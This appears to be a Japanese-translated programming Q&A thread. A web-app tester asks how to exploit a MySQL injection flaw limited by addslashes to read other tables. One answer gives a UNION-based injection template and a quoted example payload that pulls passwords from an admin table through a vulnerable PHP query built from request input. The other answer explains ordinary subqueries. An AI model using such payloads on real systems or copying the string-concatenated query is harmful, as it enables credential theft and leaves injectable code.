0

SQLクエリ(私の場合はMySQL)のWhere句の列の値をオーバーライドできるかどうか疑問に思いました。

より明確にするために、ここに例があります:

基本的なクエリが次のようになっているとします。

SELECT lastname, firstname FROM contacts WHERE lastname = "Doe";

WHERE部分の後にあるものを変更するだけで、他のテーブルから値を強制的に返すことは可能lastnameですか?firstname何かのようなもの

SELECT lastname, firstname FROM contacts WHERE lastname = (SELECT name FROM companies);

私は現在Webアプリケーションをテストしており、SQLインジェクションの欠陥を見つけて、Doe好きなように変更できますが、クエリは1つ(PHPのmysql_query制限)とaddslashes(「および」はありません)に制限されています。

4

2 に答える 2

5

可能性があります

SELECT lastname, firstname FROM contacts WHERE lastname = "{0}" UNION SELECT {1} --

ここで、{0} は存在しない値で、{1} は他のテーブルからのデータです

ウィキの例からの更新

$res = mysql_query("SELECT author FROM news WHERE id=" . $_REQUEST['id'] ." AND author LIKE ('a%')");

なる

SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
于 2012-11-05T19:29:42.143 に答える
0

句で使用した構文SELECT ... WHEREは、サブクエリと呼ばれる標準 SQL 機能です。

あなたの例のコンテキストでは、サブクエリには単一の値のみを返すという制限があります。INそれ以外の場合、クエリは有効な SQL であり、次のような演算子を使用して、サブクエリを変更して複数の値を (暗黙の OR で) 返すことができます。

SELECT lastname, firstname FROM contacts 
 WHERE lastname IN (
                    SELECT name FROM companies
                   );

このテーマをさらに掘り下げて、相関サブクエリを明らかにすることができます。

于 2012-11-05T19:47:36.940 に答える